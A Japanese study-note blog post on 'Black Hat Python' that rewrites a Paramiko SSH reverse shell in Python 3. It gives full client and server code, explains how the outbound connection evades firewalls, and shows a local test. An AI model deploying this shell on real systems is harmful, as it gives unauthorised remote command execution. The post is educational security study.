2.7.2 Paramikoを用いたSSH通信プログラムの作成 (サイバーセキュリティプログラミング Pythonで学ぶハッカーの思考)
本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
前回では、PythonのParamikoというパッケージを用いた簡単なSSHクライアントの実装について学びましたが、今回はもう少し実用的なSSHクライアントおよびSSHサーバの実装について学んでいきます。
- リバースシェルとは
- ライブラリのインポート(クライアント)
- SSHクライアントの実装
- ライブラリのインポート(サーバ)
- SSHサーバの実装
- SSHクライアントおよびSSHサーバを起動してみる
- プロキシツールでパケットを見てみる
- 最後に
- 参考書籍
リバースシェルとは
今回作成するスクリプトはリバースシェルと呼ばれるもので、通常のクライアント・サーバモデルでは、サービスを提供する側がクライアントからの接続を待ち受けますが、この方法だとポートを開放しなければならず、ファイアウォールの設定を変更しなければなりません。
しかし、外に出ていくパケットに関しては、デフォルトではファイアウォールからの制約を受けないため、サービスを提供する側がクライアントとして接続しに行く方法をとったものがリバースシェルと呼ばれるものです。
ライブラリのインポート(クライアント)
今回は以下のライブラリを使用します。
# bh_sshRcmd1.py from threading import Thread import paramiko import subprocess import sys import os
SSHクライアントの実装
それでは、シェルを提供するSSHクライアント側のコードを作成します。
ip = sys.argv[1] port = int(sys.argv[2]) def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() client.load_host_keys('./rsa.pub') client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=user, password=passwd, port=port) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command) print(ssh_session.recv(1024).decode('utf-8')) while True: command = ssh_session.recv(1024).decode('utf-8') if command == 'exit': print("[*] Session has closed.") break try: if command.startswith('cd'): cmd = command.split(' ') if len(cmd) > 1: try: os.chdir(cmd[1]) cmd_output = os.getcwd() except: cmd_output = "No such file or directory." else: cmd_output = os.getcwd() cmd_output = bytes(cmd_output, encoding='utf-8') else: cmd_output = subprocess.check_output(command, shell=True) if len(cmd_output) < 1: cmd_output = bytes("'{}' accepted".format(command), encoding='utf-8') ssh_session.send(cmd_output) except Exception as e: ssh_session.send(e) client.close() return ssh_command(ip, 'user', 'password', 'ClientConnected')
引数としてサーバのIPアドレスとポート番号を指定します。
ssh_command()では、サーバのIPアドレス、ユーザ名、パスワードを引数とし、"command"として指定している"ClientConnected"は、サーバに接続を試みて全ての認証がクリアした際にサーバに送信するデータとなります。
またここではcdコマンドでディレクトリの移動ができるようにコードを加筆しています。
ライブラリのインポート(サーバ)
今回は以下のライブラリを使用します。
#bh_sshserver1.py import socket import paramiko import threading import sys
SSHサーバの実装
次にクライアントから接続を待ち受けるサーバ側のコードを作成します。
host_key = paramiko.RSAKey(filename='rsa.key') ip = sys.argv[1] port = int(sys.argv[2]) class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'user') and (password == 'password'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((ip, port)) sock.listen(100) print("[+] Listening for connection ...") client, addr = sock.accept() except Exception as e: print("[-] Listen failed: {}".format(str(e))) sys.exit(1) print("[+] Got a connection!") try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException as x: print("[-] SSH negotiation failed.") chan = bhSession.accept(20) print("[+] Authenticated!") print(chan.recv(1024).decode('utf-8')) chan.send("Welcome to bh_ssh") while True: try: command = input("Enter command: ").strip('\n') if command == "": continue if command != 'exit': chan.send(command) recv_len = 1 res = "" while recv_len: buffer = chan.recv(1024) recv_len = len(buffer) res += buffer.decode('utf-8') if recv_len < 1024: break print(res) else: chan.send(b'exit') print('exiting') bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close() except Exception as e: print("[-] Caught exception: {}".format(str(e))) try: bhSession.close() except: pass sys.exit(1)
1行目の"host_key"は暗号化に使用するSSH秘密鍵を指定します。
また公開鍵とペアで作成し、パスワード認証の代わりに用いることで、より強固な認証が提供できます。
SSHクライアントおよびSSHサーバを起動してみる
それでは、上記で作成したスクリプトを試してみます。
ここではコマンドプロンプトでサーバを起動し、WSLのUbuntuをクライアントとして接続しに行きます。
なお、コマンドプロンプトの場合、デフォルトで文字コードが"cp932"になっており、このままだと日本語をデコードする際にエラーが発生するので、コマンドプロンプト上で"chcp 65001"を入力し、一時的に文字コードを"utf-8"に変更したほうが良いと思います。
まず、コマンドプロンプトでサーバを起動します。
> python bh_sshserver.py 127.0.0.1 8000 [+] Listening for connection ...
起動が成功し、クライアントからの接続を待ちます。
次にWSLのUbuntuからサーバに接続します。
> python bh_sshRcmd.py 127.0.0.1 8000 Welcome to bh_ssh
"Welcome to bh_ssh"の文字列が表示されているので、認証は成功した模様です。
サーバ側では以下が表示され、コマンド入力を待ち受けています。
[+] Got a connection! [+] Authenticated! ClientConnected Enter command:
試しにlsコマンドとcatコマンドを入力してみます。
Enter command: ls bh_sshRcmd.py bhnet.py hoge rsa.key rsa.pub Enter command: cat hoge test file uploading.
問題なくシェルを操作できることが確認できました。
プロキシツールでパケットを見てみる
前回作成したTCPプロキシツールを使って、上記で実行したコマンドが暗号化されているか確認してみます。
[==>] Received incoming connection from 127.0.0.1:24983 0000 53 53 48 2D 32 2E 30 2D 70 61 72 61 6D 69 6B 6F SSH-2.0-paramiko 0010 5F 32 2E 34 2E 32 0D 0A _2.4.2.. [<==] Sending 24 bytes to localhost. [==>] Received 24 bytes from localhost. 0000 53 53 48 2D 32 2E 30 2D 70 61 72 61 6D 69 6B 6F SSH-2.0-paramiko 0010 5F 32 2E 34 2E 32 0D 0A _2.4.2.. [==>] Sent to remote. [<==] Received 520 bytes from remote. 0000 00 00 02 04 0B 14 C2 78 30 9A 6D 65 9A 68 C2 C9 .......x0.me.h.. 0010 85 04 DA D0 22 31 00 00 00 6F 65 63 64 68 2D 73 ...."1...oecdh-s 0020 68 61 32 2D 6E 69 73 74 70 32 35 36 2C 65 63 64 ha2-nistp256,ecd 0030 68 2D 73 68 61 32 2D 6E 69 73 74 70 33 38 34 2C h-sha2-nistp384, 0040 65 63 64 68 2D 73 68 61 32 2D 6E 69 73 74 70 35 ecdh-sha2-nistp5 0050 32 31 2C 64 69 66 66 69 65 2D 68 65 6C 6C 6D 61 21,diffie-hellma ... ... [==>] Received 96 bytes from localhost. 0000 0D AE B7 EE 97 79 0D 2E 7A DC AE ED 1B AB 33 DB .....y..z.....3. 0010 1A BB 0E D3 07 F0 01 BD 51 EF 05 C5 23 0E C0 19 ........Q...#... 0020 74 7F 15 EE 6A E9 D8 E3 27 95 4F AF 8A F2 E1 2F t...j...'.O..../ 0030 BB 28 52 8B 98 37 BC D8 83 D2 ED 5E 01 AE 60 FC .(R..7.....^..`. 0040 D6 E1 69 CC DA C4 25 E0 9D 4E 11 75 4B 80 FC 40 ..i...%..N.uK..@ 0050 FA F5 EE 87 16 4A BE 55 23 0D 87 30 A1 1D 0C 30 .....J.U#..0...0 [==>] Sent to remote. [<==] Received 64 bytes from remote. 0000 93 4D 51 4F 7F 30 AC 30 FD 6D B0 D9 8F 2E B9 80 .MQO.0.0.m...... 0010 57 B7 F0 09 D0 DB 94 68 3C CB 96 56 50 8A 29 BA W......h<..VP.). 0020 25 90 BE 1B 8D 3A 19 10 E1 3F F4 A5 D3 99 77 8C %....:...?....w. 0030 05 55 C5 67 75 68 26 BC AE D5 77 FE FB 9B 22 4F .U.guh&...w..."O [<==] Sent to localhost.
最初にParamikoのバナー情報のやり取りを終えた後に、鍵交換や公開鍵暗号化アルゴリズムの決定などのSSH接続のイベントシーケンスがなされます。
その後にやり取りされるデータが暗号化されていることが確認できます。
最後に
今回はSSHを用いたリバースシェルタイプのコマンドラインツールの実装について学びました。
PythonとParamikoがあれば、SSHサーバやSSHクライアントがインストールされていない環境でも、手軽に環境構築が可能となります。